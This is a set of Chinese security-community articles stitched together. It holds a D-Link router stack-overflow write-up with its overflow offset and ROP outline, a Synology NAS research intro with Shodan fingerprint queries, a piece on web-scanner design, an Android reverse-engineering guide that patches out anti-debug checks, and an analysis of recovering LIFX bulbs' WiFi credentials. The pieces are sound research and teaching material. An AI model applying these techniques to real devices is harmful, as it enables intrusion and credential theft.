函数将参数值保存至申请出的一块内存空间中，但并未对参数长度进行判断和限制。这种参数获取的方式在遇到危险的内存拷贝函数时极易产生问题，是后面产生漏洞的根源所在。
图 websgetvar函数
继续分析 formLanguageChange 函数，程序将获取到的 currtime 参数值直接通过危险函数 sprintf 写入栈上
0x110-0xf8 的位置导致了缓冲区溢出。
通过分析，函数返回地址保存在 0x110-0x4 位置，即当参数长度大于 0xf4 时会直接覆盖函数返回地址，导致程序控制流被劫持。
图 formLanguageChange 函数
结合路由器环境本身防护机制的不足，在攻击者控制程序流程后，可通过 rop 技术实现任意代码执行。
Rop流程为：1、赋值 a0 参数。2、调用 sleep 函数。3、赋值某寄存器为栈上地址。4、通过寄存器跳转的方式跳入栈中 shellcode
的位置完成利用。
图 利用结果
## 参考链接
https://securityadv.isories.dlink.com/announcement/publication.aspx?name=SAP10100
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20056
### 关于 360 代码卫士
“360代码卫士”是360企业安全集团旗下专注于软件源代码安全的产品线，能力涵盖了源代码缺陷检测、源代码合规检测、源代码溯源检测三大方向，分别解决软件开发过程中的安全缺陷和漏洞问题、代码编写的合规性问题、开源代码安全管控问题。“360代码卫士”系列产品可支持Windows、Linux、Android、Apple
iOS、IBM
AIX等平台上的源代码安全分析，支持的编程语言涵盖C、C++、C#、Objective-C、Java、JSP、JavaScript、PHP、Python、Go、区块链智能合约Solidity等。目前360代码卫士已应用于上百家大型机构，帮助用户构建自身的代码安全保障体系，消减软件代码安全隐患。 | 社区文章 |
# A-Journey-into-Synology-NAS-系列——群晖NAS介绍
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
之前花过一段时间研究群晖的`NAS`设备，并发现了一些安全问题，同时该研究内容入选了安全会议`POC2019`和`HITB2021AMS`。网上关于群晖`NAS`设备安全研究的公开资料并不多，因此基于议题[《Bug
Hunting in Synology
NAS》](https://www.powerofcommunity.net/poc2019/Qian.pdf)和[《A Journey into
Synology
NAS》](https://conference.hitb.org/files/hitbsecconf2021ams/materials/D1T2%20-%20A%20Journey%20into%20Synology%20NAS%20-%20QC.pdf)，将之前的一些内容展开，如果有对群晖`NAS`设备感兴趣的同学，希望对你们有所帮助。
本系列文章的目的是介绍一些关于群晖`NAS`设备的基本信息、请求处理的相关机制和常见攻击面等，以及实际发现的部分安全问题，让读者对群晖`NAS`设备有个大体的认识，并知道如何去对设备进行安全分析，而不会聚焦于某个具体漏洞的利用细节。本系列文章大概会分为以下几个部分：
* 群晖环境搭建
* 自定义服务分析，包括`findhostd`和`iscsi_snapshot_comm_core`
* `HTTP`请求处理流程，和常见的攻击面分析
## 群晖NAS介绍
`NAS` (`Network Attached
Storage`)，即网络附属存储，是一种特殊的数据存储设备，包含一些必要的器件如`RAID`、磁盘驱动器或可移动的存储介质，和内嵌的操作系统，用于将分布、独立的数据整合并集中管理，同时提供远程访问、共享、备份等功能。简单地可以理解为”联网的磁盘阵列”，并同时具备硬盘存储和网盘存储的优势。
群晖是一家致力于提供网络存储服务器(`NAS`)服务的公司，被认为是中小企业和家庭`NAS`领域的长期领导者。群晖`NAS`的主要产品线包括`DiskStation`、`FlashStation`和`RackSation`，其中`DiskStation`是适合我们日常使用的桌面型号。针对每个产品线，都提供了不同的系列来满足不同的要求。
此外，群晖还提供了适用于每一个`NAS`的操作系统`DiskStation Manager`
(`DSM`)。它是一个基于`Linux`的、网页界面直观的操作系统，提供了丰富的功能包括文件共享、文件同步和数据备份等，以在各个方面提供更好的灵活性和可用性。
## 环境搭建
在了解了群晖`NAS`的基本信息后，需要有一个目标设备来进行测试。目前，常见的有两种方式，如下。
* 直接购买一个群晖`NAS`设备，即”白群晖”，其功能完整，比较方便配置和使用
* 组装一个设备，或购买一个厂商的`NAS`设备，并安装群晖的`DSM`系统，即”黑群晖”，其拥有大部分的功能，对于测试而言是足够的
除了上述两种方式，`NAS`社区还提供了另一种方式，即创建一个群晖虚拟机。这种方式更适合于测试用途(比如想测试不同的`DSM`版本)，因此下面主要对这种方式进行介绍。
> 这里仅是出于安全研究的目的，如果有实际使用需要，建议购买群晖官方`NAS`设备。
### 安装DSM 6.2.1
创建一个群晖虚拟机，主要需要如下两个文件。目前社区提供了针对不同`NAS`型号和不同`DSM`版本的`loader`，最新的`loader`版本适用于`DSM
6.2.1`，注意在安装时最好选择和`loader`对应的`NAS`型号及`DSM`版本。经测试，`ds918`系列的`loader`支持升级到`DSM
6.2.3`，即可以在先安装`DSM 6.2.1`版本后再手动升级到`DSM 6.2.3`。
* 群晖官方提供的[`DSM`文件](https://archive.synology.com/download/Os/DSM)(`pat`文件)
* 社区提供的[loader](https://mega.nz/#F!yQpw0YTI!DQqIzUCG2RbBtQ6YieScWg!yYwWkABb)
> 关于`loader`是否可以升级以及是否成功升级等信息可参考[这里](https://xpenology.com/forum/forum/78-dsm-> updates-reporting/)
以`VMware
Workspace`为例，创建群晖虚拟机需要先加载`synoboot`引导，再安装对应的`DSM`。由于下载的引导文件为`img`格式，这里可以先将其转换为`vmdk`格式，方式如下。
* 使用软件`StarWind Converter`进行转换
* 使用`qemu-img`命令进行转换
$ qemu-img convert -f raw -O vmdk synoboot.img synoboot.vmdk
之后正常创建`VMware`虚拟机，并使用之前转换得到的`vmdk`文件。其中，
**在选择安装引导的磁盘类型时，一定要选择`SATA`类型**，选择`SCSI`的话可能会造成后续引导无法识别或启动。创建完毕后，再正常添加额外的硬盘，用于数据存储。启动虚拟机后，通过`Web
Assistant`或`Synology Assistant`进行安装和配置，完成之后就可以通过浏览器成功访问`NAS`虚拟机了。
> `Synology Assistant`是一个客户端软件，用于在局域网内搜索和管理对应的`NAS`设备。
之后，可以通过手动更新的方式将其升级到`DSM 6.2.3`版本。前面提到过，通过这种方式只能得到`DSM
6.2.3`版本的虚拟机，而目前群晖`DSM`的最新版本包括`DSM 6.2.4`和`DSM
7.0`，无法通过这种方式安装。不过，可以基于刚创建的`NAS`虚拟机，借助群晖提供的`Virtual Machine Manager`套件来安装`DSM
6.2.4`或`DSM 7.0`版本的虚拟机。
### 安装DSM 6.2.4/DSM 7.0
群晖套件`Virtual Machine
Manager`，通过一个集中且规范的接口集成了多种虚拟化解决方案，可以让用户在`NAS`上轻松创建、运行和管理多台虚拟机，当然也包括群晖的虚拟`DSM`。
简单而言，可以先创建一个`DSM 6.2.3`版本的虚拟机，然后在该虚拟机内部，借助`Virtual Machine
Manager`套件再安装一个或多个`virtual DSM`。其中，在安装`virtual
DSM`时，需要保证对应的存储空间格式为`Brtfs`，可以通过额外添加一个硬盘(容量尽量大一点，比如`40G`或以上)的方式，新增加存储空间时选择`SHR(Brtfs)`即可。另外，一个`Virtual
Machine Manager`里面似乎只提供了一个`Virtual DSM`的免费`License`，因此如果安装了多个`Virtual
DSM`的话，多个虚拟实例无法同时启动。这里通过切换虚拟实例的方式来避免这一问题，对于安全测试而言足够了。
> 由于目前`DSM 7.0`还在测试阶段，一些功能或特性不是特别稳定或成熟，因此本系列文章还是以`DSM 6.1`/`DSM6.2`版本为主。
### 群晖在线Demo
群晖官方也提供了供在线体验的[`DSM`实例](https://demo.synology.com/en-global/dsm)，包括`DSM
6.2.4`和`DSM
7.0`版本。当然，你也可以基于该坏境去进行安全分析与测试，不过可能会有一些限制比如无法使用`SSH`访问`shell`等，或者其他顾虑等等。
### 工具安装
群晖`NAS`上提供了`SSH`功能，开启后可以访问底层`Linux shell`，便于后续的调试与分析等。此外，群晖还提供了一个名为`Diagnosis
Tool`的套件，其包含很多工具，如`gdb`和`gdbserver`等，便于对程序进行调试。通常，可以通过套件中心搜索并安装该套件，如果在套件中心中无法找到该套件的话，可以通过在`shell`命令行采用命令`synogear
install`进行安装，如下。
$ sudo -i # 切换到root用户
$ synogear install # 安装套件
## 设备指纹
群晖`NAS`主要是用在远程访问的场景下，此时唯一的入口是通过`5000/http`(`5001/https`)进行访问(暂不考虑使用`QuickConnect`或其他代理的情形)。使用设备搜索引擎如`shodan`查找暴露在公网上的设备，如下。可以看到，确实只有少量的端口可以访问。
为了进一步地知道目标设备的`DSM`版本、安装的套件和对应的版本等信息，需要获取更精细的设备指纹。通过分析，发现在`index`页面中存在对应的线索。具体地，`index`页面中存在一些`css`链接，表明有哪些内置的模块和安装的第三方套件。同时，其中也包含一些`NAS`特有的脚本链接。根据上述信息，可以构建一些`query`用于更准确地查找群晖`NAS`设备。
Port: 5000/5001 # default
Shodan query: html:"SYNO.Core.Desktop.SessionData"
另外，在每个链接后面还有一个参数`v`，其表示最后更改时间的时间戳，即对应构建时的时间戳。以如下链接为例，时间戳`1589235146`可转换为时间`2020-05-12
06:12:26`。通过在[群晖镜像仓库](https://archive.synology.com/download/Os/DSM)中查找各`DSM`版本发布的时间，可以推测该`DSM`版本为`6.2.3-25426`。类似地，`AudioStation`套件的版本为`6.5.6-3377`。
webapi/entry.cgi?api=SYNO.Core.Desktop.SessionData&version=1&method=getjs&SynoToken=&v=1589235146
进一步地，可以通过访问`http://<host>:<port>/ssdp/desc-DSM-eth0.xml`,
获取设备的具体型号、版本以及序列号等信息。
> 通常，设备搜索引擎只会探测`http://<host>:<port>/`下的默认页面，对于该二级页面没有进行探测。
<deviceType>urn:schemas-upnp-org:device:Basic:1</deviceType>
<friendlyName>VirtualDSM (VirtualDSM)</friendlyName>
<manufacturer>Synology</manufacturer>
<manufacturerURL>http://www.synology.com</manufacturerURL>
<modelDescription>Synology NAS</modelDescription>
<modelName>VirtualDSM</modelName>
<modelNumber>VirtualDSM 6.2-25556</modelNumber>
<modelURL>http://www.synology.com</modelURL>
<modelType>NAS</modelType>
<serialNumber>xxxxxx</serialNumber>
<UDN>xxxxxx</UDN>
## 相关事件/研究
近年来，有一些关于群晖的安全事件，其中包括：
* 在`2018`年的`GeekPwn`比赛中，来自长亭科技的安全研究员攻破了群晖`DS115j`型号`NAS`设备，成功获取了设备上的`root`权限；
* 在`Pwn2Own Tokyo 2020`比赛中，有2个团队攻破了群晖`DS418Play`型号`NAS`设备，均成功拿到了设备上的`root shell`。
同时，也有一些安全研究人员对群晖设备进行了分析，感兴趣的可以看看。
* [Network Attached Security: Attacking a Synology NAS](https://www.nccgroup.com/ae/about-us/newsroom-and-events/blogs/2017/april/network-attached-security-attacking-a-synology-nas/)
* [SOHOpelessly Broken 2.0 – Security Vulnerabilities in Network Accessible Services](https://www.ise.io/casestudies/sohopelessly-broken-2-0/index.html)
* [Vulnerability Spotlight: Multiple vulnerabilities in Synology SRM (Synology Router Manager)](https://blog.talosintelligence.com/2020/10/vulnerability-spotlight-multiple.html)
* [Vulnerability Spotlight: Multiple vulnerabilities in Synology DiskStation Manager](https://blog.talosintelligence.com/2021/04/vuln-spotlight-synology-dsm.html)
## 小结
本文首先对群晖`NAS`进行了简单介绍，然后给出了如何搭建群晖`NAS`环境的方法，为后续的安全分析做准备。同时，对设备指纹进行了简单讨论，并介绍了与群晖`NAS`相关的一些安全事件/安全研究等。后续文章将对群晖`NAS`设备上的部分服务、功能或套件等进行分析，并分享一些实际发现的安全问题。
## 相关链接
* [DSM 6.1.x Loader](https://xpenology.com/forum/topic/6253-dsm-61x-loader/)
* [各版本引导下载](https://mega.nz/#F!yQpw0YTI!DQqIzUCG2RbBtQ6YieScWg!yYwWkABb)
* [群晖镜像/套件下载](https://archive.synology.com/download)
* [Bug Hunting in Synology NAS](https://www.powerofcommunity.net/poc2019/Qian.pdf)
* [A Journey into Synology NAS](https://conference.hitb.org/files/hitbsecconf2021ams/materials/D1T2%20-%20A%20Journey%20into%20Synology%20NAS%20-%20QC.pdf) | 社区文章 |
注：本文为“小米安全中心”原创，转载请联系“小米安全中心”：<https://sec.xiaomi.com/>
Web扫描平台的发展
1.原始社会
在Web安全兴起的初期，国内的工具相应缺乏，笔者曾经获取一个注入点数据库的MD5需要手工注入半天时间。
于是相应的安全扫描自动化工具应运而生，其中杰出代表莫过于啊D，穿山甲，和JSKY。感谢前辈给我们创造的自动化工具。这几款工具，可以列入中国网络安全的发展历史。
2.拿来主义
国内乙方厂商，如绿盟，启明星辰当时已经有了自己的扫描器产品，但是一般的安全人员并不能拿到软件进行测试，所以纷纷把目光投向国外。
AWVS，WebInspect，AppScan等商业化扫描器经过国人的破解以后，被各路安全爱好者进行安全扫描，测试。至今这几款扫描器依然活跃在白帽子圈，用来进行初步的安全扫描与探测，宝刀未老。
3.工业革命
这个阶段互联网的高速发展，也更加推动安全人员研发出更符合需求的扫描器。由于现有的商业安全扫描器已经不能适应企业的规模和业务增长需求，于是大型互联网公司开始进行安全扫描器的自研工作。
以BAT为首的公司，开始了自己的扫描器自研之路。从无到有，从野路子式的作坊，一路走来，在经历了各种教训，交了学费，一次次的架构变动，才有了今天大型甲方安全扫描团队的正规军，拥有自己的设计，开发，运维，运营团队。
这个阶段，主要解决了大型互联网公司，由于公司架构、业务发展和开发技术提升等需求，衍生出安全工单，分布式扫描和动态爬虫模块。
4.未来世界
公司业务和人员规模的不断扩大，安全技术的持续提升等原因，产生了更多的漏洞和更多安全事件，所造成的损失越来越大。时代的进步，对于安全扫描系统提出了更大的挑战。
这个阶段出现了云安全扫描平台，更多的乙方公司也提供了安全扫描软件，对于一般的企业用户是够用了。
漏洞规则，资产管理，扫描性能，应急响应，安全流程，开发流程等等问题又给现有的扫描器出了难题。但是，对于大型甲方公司，这个阶段出现的云安全扫描平台，还远远不能满足需求。对安全扫描器的再次架构提升也成了这个阶段安全团队首要解决的问题。
安全自动化扫描平台建设（扫描平台数据源）
1.动态爬虫
Web2.0技术在互联网大规模应用，使得原有的爬虫方式已经不能满足需求，主流的安全扫描器爬虫均为基于浏览器内核的动态爬虫。
主流的解析引擎选择有两种：
* 基于QtWebKit
* 基于PhantomJS
其中，PhantmJS是QtWebkit的封装，部署起来更加方便，接口也相对简单，但是其中的坑也是非常的多，建议使用QtWebKit作为动态爬虫的解析引擎。
对于某些DOM类漏洞检测的需求驱动，扫描器爬虫还需要具有Ajax解析，DOM树遍历，模拟交互，事件触发等功能，基于浏览器内核的爬虫的解析和模拟能力正好可以解决需求。
代码中模拟事件部分代码
同时，安全扫描器爬虫也需要具有伪静态解析，表单自动化填写提交等功能。
安全扫描平台爬虫模拟正常用户对目标站点进行数据爬取，但是，无法避免的会对业务产生风险，尤其是内网业务。
仅仅是进行爬取，就有可能引起以下风险
（1）写入脏数据、造成页面扭曲(尤其带cookie情况下扫描)
（2）扫描请求会造成服务器额外的性能压力。
（3）如果目标站点容错性不够（如没有进行异常捕获、边界判断、空值判断等），那么爬虫请求可能会引起服务器上的程序出现异常，导致服务中断。
（4）关键业务逻辑行为是GET操作，且不需要认证（如删除数据，付款等功能）。
（5）可能会引起目标站点监控报警。
（6）扫描过程中有目录和文件猜解环节,会引起服务器大量404错误，造成大量额外日志。
以上问题都是笔者在实际设计、使用过程中遇到的问题，甚至由于安全扫描造成了严重的业务事故，由此，对扫描器爬虫提出了新的挑战。
主要提升思路是，宁可缺失少部分数据，坚决不造成业务额外的负担和风险。(注1)
（1）我是自己人：使用安全爬虫专用Cookie池、请求Header，便于业务服务器辨认内部扫描爬虫，外网业务甚至可以考虑去掉登录爬虫功能。
（2）扫描限速：扫描压力控制，默认发包速率为50QPS/S，并可以根据不同的模式进行调节。
（3）内网业务扫描模式：阉割部分功能，如登录扫描、模拟交互等，原因是内网业务普遍采用CAS的方式进行登录，极少数业务有自己的用户认证系统。如果CAS用户被破解，第一波就攻击的内网业务的概率相对小，与可能造成风险相比，损失部分URL数据可以接受。
（4）去掉目录猜解功能，爬虫爬取策略向搜索引擎爬虫靠拢。
2.流量镜像
另一个非常好的数据源是主交换机，IDC交换机等网络设备流量镜像，直接将全流量镜像至安全扫描平台的流量解析节点进行分析，一般全流量镜像为GET请求，由于存储/用户隐私需求，POST请求该类型数据源不进行获取。（注2）
3.安全测试
QA测试是几乎每个互联网公司的上线前的标配，安全测试通常也会在这个环节进行，以往的该环节的自动化安全测试经过了几次发展：
（1）fiddler抓取测试产生的请求数据，并发送至安全扫描器进行扫描，至今仍有部分公司使用这种方式进行安全测试。问题在于QA的学习与使用有一定的成本，部门墙比较严重的情况下，这种方式的成本有点高。
（2）浏览器插件的方式，通过在QA的浏览器安装插件，获取测试产生的流量，可以安全的获取所有测试数据。
并由此可以检测线上扫描无法覆盖的存储型XSS和文件上传漏洞等。该方案依然活跃在某些大型互联网公司中，缺点在于浏览器覆盖范围不全（如只覆盖Chrome），对于某些测试类型无法获取流量（如移动端）
（3）测试服务器Agent，在QA的测试服务器上安装流量获取Agent，通过安全测试平台进行Agent
的自动化安装，QA只要提交任务以后进行正常的测试，Agent就可以获取全部测试数据，并可以进行方便的任务管理。
有几个笔者踩过的坑需要注意：
（1）QA的压力测试，导致Agent占用了大量的IO，影响测试数据。通过对Agent设定QPS阈值，自动暂停流量获取，仅保留心跳功能，流量低于阈值，自动重新开启获取功能。
（2）QA测试服务器上有不止一个项目进行测试，使用端口、HOST绑定等方式，进行有效区分，不对其他测试项目造成干扰。
安全扫描自动化平台（Web黑盒上）就讲到这里了，笔者难免有些疏漏或者错误，还请指出，非常感谢。
注：
1.爬虫覆盖率的测试可以使用国际爬虫标准测试项目Wivet 地址：<https://github.com/bedirhan/wivet>
2.流量解析可以通过PCAP文件进行存储，笔者使用Python的httpcap进行流量数据解析，地址：<https://github.com/caoqianli/httpcap>
建议对该程序进行修改，符合自己的实际解析场景。 | 社区文章 |
# 【技术分享】Android App常见逆向工具和使用技巧
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**前言**
本文将主要介绍个人在Android App逆向分析时常用到的一些工具和小技巧。说起Android
逆向，就不得不提到常用的逆向分析神器了，IDA，jadx，Android Killer，JEB。
**常用工具介绍**
jadx是一款非常不错的apk反编译工具，可以直接将apk转换成java源码，代码还原度高，且支持交叉索引等等，以一款开源工具为例，反编译后结构图
代码显示效果：
排除混淆的影响外，整体看来代码的显示效果基本是跟原工程一样的，非常有逻辑感，右键还可以查看方法和变量的引用，但是jadx的缺点也很多，速度较慢，且不支持变量，方法重命名等等，在针对混淆代码分析时有些力不从心，这里就推荐另一款工具JEB。
JEB是一款非常不错的Android逆向分析工具，新版的JEB也已经支持了app动态调试，但由于不稳定性，暂时还不推荐使用，本文使用版本1.5，由于大部分人都接触过JEB，也知道JEB的常见特性，本文就主要讲解JEB的另一个功能，脚本功能，示例app为RE管理器。反编译后可以看到：
方法中多数字符串已经被转换成了byte数组，这在逆向分析时会比较头大，为了解决这一问题，我们可以尝试写个脚本来还原这些字符串，打开idea，新建一个java工程，导入jeb.jar（该文件在JEB目录下可以找到），第一步，需要知道JEB需要遍历的方法是什么，这里调用了new
String方法将byte数组转换成string，那这里就需要匹配new String这个方法，如下
接下来需要让JEB枚举所有方法
这里主要就是利用JEB的插件功能枚举所有引用到该签名的方法，好处就是节省后面匹配替换的时间，找到关键处后自然就开始替换和解密操作了。
这里主要就是遍历和迭代所有方法中的元素，取到元素后首先需要进行过滤，因为是new
String，所以需要判断当前类型是否为New，是的话再去匹配签名值是否跟上面设置的一致，当匹配成功后就可以在元素中取值了，取到值后还需要进行相应的处理，将类型转换成我们需要的byte数组，今后再进行解密和替换，整体逻辑和实现并不复杂，上面的截图也都做了详细的备注，丢张处理后的截图：
这样分析起来就轻松多了，当然这里只是简单的举了个new String的例子，同样该脚本稍作修改可以解密如des，aes，base64等加密编码操作。
当然说到逆向工程，不得不提的工具当然是IDA，作为一个适应多种平台的逆向分析工具，在安卓上的使用率也非常高，强大的反汇编功能以及F5转伪C代码功能都给分析者提供了便捷，下面以某个CrackeMe演示：
常见的native方法有静态注册和动态注册两种形式，静态注册均已java开头，以类的路径命名，所以可以很轻松的找到，双击该方法即可来到汇编代码处，F5后发现代码丢失了很多，如下图：
在汇编代码状态下按下空格键即可切换至流程图，如下：
发现该方法被识别出了两个入口点，从而导致很多代码未被识别到，找到第一个分支的结束地方
选择菜单栏的Edit->function->removefunction tail，之后在修改过后的地方点击菜单栏Edit->other->forceBL
call 即可，之后再此F5即可正常显示所有代码
而动态注册方法较静态注册在寻找关键点时稍加麻烦一点，而动态注册势必会在jni_Onload中去处理这些函数，以某so为例，F5后代码如下
这里会看到很多的偏移地址，其实是指针在jniEnv中的相对位置，此时可以通过导入jni头文件来自动识别，在网上可以很容易下载到这个文件，导入后右键Convert
to Struct后代码如下：
这里已经看的很清晰了，调用了RegisterNatives方法注册了两个方法，off_8004则是记录了该方法的偏移地址，双击进入：
这里已经看到了两个方法对应的内容，_Z10verifySignP7_JNIENVP8_jobect和_Z13getentyStringv，双击即可跳转到该方法中，当然这些对于ida来说根本都是基础功能，而且新版本的IDA支持直接对字节码进行patch，无需像之前一样记录修改地址，使用16进制编辑器对字节码进行修改，示例如下：
在000025C6处我调用了一个检测当前是否处于调试状态的方法，如果程序被调试器连接上，则会自动崩溃，而readStatus是个void方法，本身不带参数和返回值，思路很简单，nop掉该方法再重新打包即可正常调试，选择菜单栏上的Options->General
此处将0改为4即可
此时每条指令对应的机器码已经显示出来，可以看到readStatus是个arm指令，修改方法很简单，常见的nop方法可以使用全0替换机器码
点击到修改指令后选择菜单栏的Edit->patch program->changebyte，修改前4个字节为00 00 00 00即可，效果如下：
可以看到反调试方法已经被清除掉了，那么如何保存修改后的文件呢，也很简单，点击菜单栏的Edit->patchprogram->Apply patches to
Input
file，直接点击ok即可，当然ida的小技巧还有很多，比如在动态调试时改变android_server的默认端口即可过滤掉反调试对端口23946的检测，命令为-p123
，123为端口号，记得-p和端口号之间是没有空格的。
最后要介绍的就是Android Killer了，ak是一款不错的apk反编译集成工具，有良好的smali显示效果和编辑功能
当然作为一个反编译工具，这些都是最基本的功能，ak有一项强大的功能是代码插入，可以对代码进行稍加的封装，即可实现快速插入代码，比如个人实现的log插桩插件，是在开源项目LogUtils的基础上转换成了smali插件，支持一键输出任意基本类型的数据以及json,Intent等数据类型，使用方式也很简单，右键选择插入代码即可
代码就1句话，其中p0是需要打印的寄存器，在静态方法中p0代表是是第一个入参，在逆向工程上，代码插桩可以很好的帮助我们进行数据的分析，这些插件我都发布到了网络上，都可以下载到。
**总结**
本文主要介绍了Android
App逆向时常用的工具和他们的一些使用小技巧，但逆向单靠一样工具和常见的技巧往往还是不够的，需要大家的尝试和耐心以及自身对逆向的钻研精神。
YSRC招移动安全方向负责人，带两人团队，负责app逆向、加固及漏洞挖掘。工作地点苏州总部。可发送简历至
[email protected]，或扫描下方二维码关注YSRC公众号咨询，欢迎推荐。 | 社区文章 |
# 【技术分享】针对联网智能灯泡的安全性分析
|
##### 译文声明
本文是翻译文章，文章来源：contextis.com
原文地址：<https://www.contextis.com/blog/hacking-into-internet-connected-light-bulbs>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[blueSky](http://bobao.360.cn/member/contribute?uid=1233662000)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
****
这篇博客的主题是关于LIFX灯泡的，LIFX是一款智能灯泡，它能够用WIFI控制，节能，多颜色显示，可以使用Android或iOS手机控制。我们之所以选择对这款产品进行研究，主要是因为它使用了新兴的无线网络协议，投入市场的方式以及先进的技术深深的吸引了我们。
2012年9月，LIFX项目开始于Kickstarter众筹平台，该产品刚开始在众筹平台上线就受到了投资者们的青睐，其募集到的资金是其原始目标资金的13倍以上。
LIFX灯泡通常需要连接到WiFi网络，以便使用智能手机应用程序能够对灯泡进行控制。在有多个灯泡可用的情况下，只有一个灯泡将连接到网络。这个“主”灯泡从智能手机应用程序上接收命令，并通过
**802.15.4 6LoWPAN** 无线网络将其广播到其他灯泡。
WiFi和802.15.4 6LoWPAN mesh网络
在主灯泡关闭或与WIFI网络断开连接的情况下，系统会从剩余灯泡中重新选择一个灯泡作为主设备，并使其连接到WiFi网络，新主设备继续将命令发送到其他灯泡。这种一次只需要连接一个灯泡到WiFi上的架构具有许多优点，其中包括剩余灯泡在不亮时以低功率运行，还有就是可以使灯泡网络的可用范围远远超过WiFi网络的覆盖范围，这样可以减少WiFi网络的拥塞。
不用说，LIFX灯泡使用的新兴无线通信协议，mesh网络结构以及主/从通信方式深深吸进了“黑客”的注意力，因此我们拿起了几个灯泡并开始了我们的研究之旅。该博客针对LIFX固件1.1版本进行了研究和分析，并且自从向LIFX报告了研究结果之后，该公司已经对固件1.1版本进行了升级，现在1.2版本已经可供下载了。
**开启攻击之旅**
****
LIFX灯泡网络中有以下三个核心通信组件：
**1. 智能手机到灯泡的通信**
**2. 灯泡WiFi通信**
**3. 灯泡网络通信**
分析初始阶段碰到的最大难题是新技术和理论知识带给我们的挑战，因此我们准备从灯泡内的802.15.4
6LoWPAN无线mesh网络开始着手，以查看其是否存在漏洞。具体来说，我们决定研究LIFX灯泡是如何在6LoWPAN
mesh网络之间共享WiFi网络凭证的。
6LoWPAN是一种基于IEEE 802.15.4构建的无线通信规范，与Zigbee使用的基本标准相同， **该规范允许通过低功率的Personal
Area Networks (PAN)转发IPv6数据包。**
为了监控和注入6LoWPAN流量，我们需要一个基于802.15.4规范的外围设备。在此任务中我们选择的设备是安装了Contiki
6LoWPAN固件镜像的ATMEL AVR Raven ，该设备提供了一个标准的网络接口，通过该网络接口我们可以监控和注入网络流量到LIFX mesh网络。
**协议分析**
****
通过上述网络接口，我们可以监控并将网络流量注入到LIFX mesh网络中。
**通过观察我们发现LIFX网络在很大程度上是未加密的，因此我们可以轻松地解析其网络协议，并构造消息来控制灯泡并重放任意数据包的有效载荷。**
通过在LIFX网络中添加新灯泡以及同时监控从mesh网络中捕获的数据包，我们能够识别有关WiFi网络凭证的特定数据包。整个新灯泡的加入过程包括主灯泡在网络上广播有一个新灯泡加入进网络；之后新灯泡对主灯泡的广播作出响应，并请求传输WiFi凭证细节；然后主灯泡通过mesh网络广播加密的WiFi凭证细节，并将新的灯泡添加到LIFX智能手机应用程序中的可用灯泡列表中。
通过Wireshark 6LoWPAN捕获数据包
通过对捕获到的数据包进行分析我们发现，WiFi细节（包括凭证）是被加密传输的，因此我们可以在mesh网络中注入数据包，以获取WiFi细节。此外，获取WiFi详细信息的过程不会添加任何新设备或在LIFX智能手机应用程序中引发任何警报。现在我们可以任意地从mesh网络获取WiFi凭证，但却没办法来解密它们。为了进一步的攻击，我们需要对其使用的加密机制进行分析。
**获取固件**
我们首先从分析LIFX设备的固件开始来尝试去破解其加密机制，一般情况下，我们只需要从供应商网站下载固件，脱壳，解密或以其他方式将其更改为我们熟悉的格式就可以了。然而，在研究时我们发现，由于LIFX设备刚投入市场，因此供应商还没有向公众发布可以分析的固件。在这种情况下，我们只能自己获取LIFX设备的固件。
为了从设备中提取固件，我们首先需要获得对内嵌的微控制器的物理访问，这是一个非常讲究技术的获取过程。对于外行人来说，似乎只不过是用锤子敲击它，直到能够看到LIFX设备的内部结构。一旦获取内嵌的微控制器，我们就可以访问Printed
Circuit Board (PCB)了，该设备如下图所示：
提取LIFX PCB
通过分析获取到PCB我们发现，该器件主要由两个片上系统（SoC）集成电路（IC）组成：一个是德州仪器CC2538，其主要负责6LoWPAN网络设备的通信，另一个是STMicroelectronics
STM32F205ZG，其主要负责WiFi端的通信。这两款芯片均基于ARM
Cortex-M3处理器。进一步的分析发现，每个芯片上的JTAG引脚功能齐全。JTAG是Joint Test Action Group的缩写，是IEEE
1149.1标准的常用名称，它描述了用于测试微控制器缺陷的一种协议，并通过Test Action Port接口调试硬件。
一旦确定了每个芯片正确的JTAG引脚以及准备好连接到芯片的JTAG接口，下一步要做的事情是手动跟踪引脚，分析以及自动探测。为了能够控制发送到芯片的JTAG命令，我们需要硬件和软件组合起来使用。在这种情况下使用的硬件是开源的BusBlaster
JTAG调试器，它与开源的OpenOCD调试器配合使用。在配置好硬件和软件之后，我们可以向芯片发出JTAG命令了。
BusBlaster JTAG调试器
此时，我们可以从每个芯片中快速的转储闪存，并启动对固件的逆向分析工作。
**逆向分析固件**
****
现在我们拥有两个二进制的blob固件，我们需要识别哪个固件负责存储和加密WiFi凭证。通过映像上的“字符串”我们确定WIFI凭证存储在LIFX
LWM-01-A芯片的固件映像中。
将固件映像加载到 **IDA Pro** 中，我们可以通过查找常见的加密常量（S-Boxes，Forward and Reverse
Tables和Initialization
Constant）来识别加密代码，通过该方法我们确定芯片中使用的是AES加密算法。由于AES是一种对称加密算法，因此加密密钥和解密密钥是相同的。通过分析我们发现在LIFX的设计中，
**每个设备都会发出一个恒定的全局密钥。因此如果我们可以从一个设备中获取密钥，那么我们就可以使用相同的密钥来解密所有其他设备发送的消息。**
在这种情况下，密钥可用于解密从任何LIFX灯泡发送的加密消息。由于加密常量也可用于识别加密和解密程序的汇编代码，因此在AES算法开源实现的帮助下，我们可以通过逆向分析之前定位到的加密函数来提取加密密钥，初始化向量以及块模式。
IDA Pro拆解固件加密代码
最后一步是通过使用提取到的密钥解密从网络中嗅探到的WiFi凭证来证明提取的加密密钥是否正确。
**组合攻击**
****
掌握了加密算法，密钥，初始化向量以及对mesh网络协议的了解，我们可以将数据包注入到mesh网络中，捕获WiFi细节并解密凭证，所有这一切都不会引起LIFX设备的任何身份验证或警报。因此我们成功了！
应该注意的是，由于这种攻击是针对802.15.4
6LoWPAN无线mesh网络进行的攻击，所以攻击者需要在一个易受攻击的LIFX灯泡的无线覆盖范围内（30米范围内）进行攻击，因此这严重限制了大规模漏洞利用的实用性。
**修复建议**
****
在发现该漏洞后我们及时通知了LIFX公司，并一起协助该公司完成了漏洞的修复工作，以及其他进一步的安全性改进措施。现在，新固件使用从WiFi凭证导出的加密密钥来加密所有的6LoWPAN流量，并包括了用于保证新灯泡能够安全加入到WIFI网络中的安全功能。
